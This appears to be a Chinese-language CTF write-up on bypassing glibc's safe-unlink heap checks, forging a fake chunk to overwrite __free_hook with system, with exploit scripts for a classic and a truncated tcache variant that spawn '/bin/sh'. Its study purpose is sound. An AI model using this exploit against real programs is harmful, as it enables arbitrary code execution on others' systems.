Safe Unlink

简介

Safe Unlink增加了两个检测机制。

首先,检测大小是否一致,即检查next_chunk的prev_size和当前chunk的size域是否相等。

然后,检测双向链表完整性,即检查chunk.fd -> bk == chunk、chunk.bk -> fd == chunk。

条件

  1. 可以泄露保存chunk指针的数组地址。

  2. 存在堆溢出漏洞可以修改next_chunk的size域 或 存在UAF漏洞。

  3. 可以泄露libc地址。

利用

为方便描述,下文称chunk指针数组 = m_array。

  1. 在当前chunk数据段伪造一个fake_chunk,使得fake_chunk的fd指向&m_array - 0x18,bk指向

​ &m_array - 0x10。(绕过双向链表检测)

  1. 将next_chunk的prev_size修改为当前chunk大小,然后将size域中prev_inuse置0。(绕过大小

​ 检查,prev_size用于程序定位到fake_chunk)

  1. free(next_chunk),程序会将next_chunk和fake_chunk合并:

​ 程序会顺着fd指针,找到&m_array - 0x18,然后在程序认为的bk指针位置(即m_array位

​ 置)填入&m_array - 0x10的地址。

​ 然后会顺着bk指针,找到&m_array - 0x10,然后在程序认为的fd指针位置(即m_array位

​ 置)填入&m_array - 0x18的地址。

  1. 此时,m_array数组的第一个指针指向&m_array - 0x18,我们填充 0x18垃圾数据 +

​ &__free_hook - 0x8,再次编辑即可修改freehook的内容。

即如图所示:

pCa5yOx.png

这时可以看到,我们伪造的被free的chunk_A中的fd->bk==0x603010,但这个值并不是chunk本身,而是chunk中的user data起始位置

m_array中的值是没办法直接改动的,因此我们在伪造chunk的时候干脆连chun A的起始位置一起伪造,伪造出一个从0x603010开始的chunk,即在上面第二部构造next_chunk的prev_size修改为当前chunk - 0x10。

这样,我们就可以绕过safe unlink的缓解机制检查了。

之后,通过free(b)进行unlink,会将0x602060位置的内容写为0x602048,再使用edit()执行时就是往0x602048处写内容,也就是可以再次修改m_array的内容我们再修改一次m_array[0],将其修改为我们想要写入值的地址,比如修改为__free_hook的地址,再次malloc即可向 _free_hook处写内容,因此可以修改freehook为system了。

demo:

pCa5rlR.png

分析该程序主要函数,发现用选项3的时候最终实际上就是free(m_array[nb].user_data)

所以直接调用free(0)就会调用system("/bin/sh")

因此,完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)

# Prepare fake chunk metadata.
fd = elf.sym.m_array - 0x18
bk = elf.sym.m_array - 0x10

prev_size = 0x80
fake_size = 0x90

edit(chunk_A, p64(0) + p64(0x80) + p64(fd) + p64(bk) + p8(0)*0x60 + p64(prev_size) + p64(fake_size))

free(chunk_B)

#edit(chunk_A, p64(0)*3 + p64(elf.sym['target']))
edit(chunk_A, p64(0)*3 + p64(libc.sym['__free_hook']-8)) //本题中free的参数为chunka指向的内容,因此将chunka指 向freehook - 8,并填入binsh
edit(chunk_A,b"/bin/sh\x00"+p64(libc.sym["system"]))

free(chunk_A)

tcache版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
heap_base = add(0,0xf8) - 0x260
success("heap_base: " + hex(heap_base))

for i in range(1,10):
add(i,0xf8)

for i in range(7):
free(i)

heap_ptr = 0x6020E0 #这里是heap[7],不是模板的heap[0]

fd = heap_ptr- 0x18
bk = heap_ptr - 0x10
prev_size = 0xf0
edit(7,p64(0) + p64(0xf0) + p64(fd) + p64(bk) + p8(0)*0xd0 + p64(prev_size))
#free(8)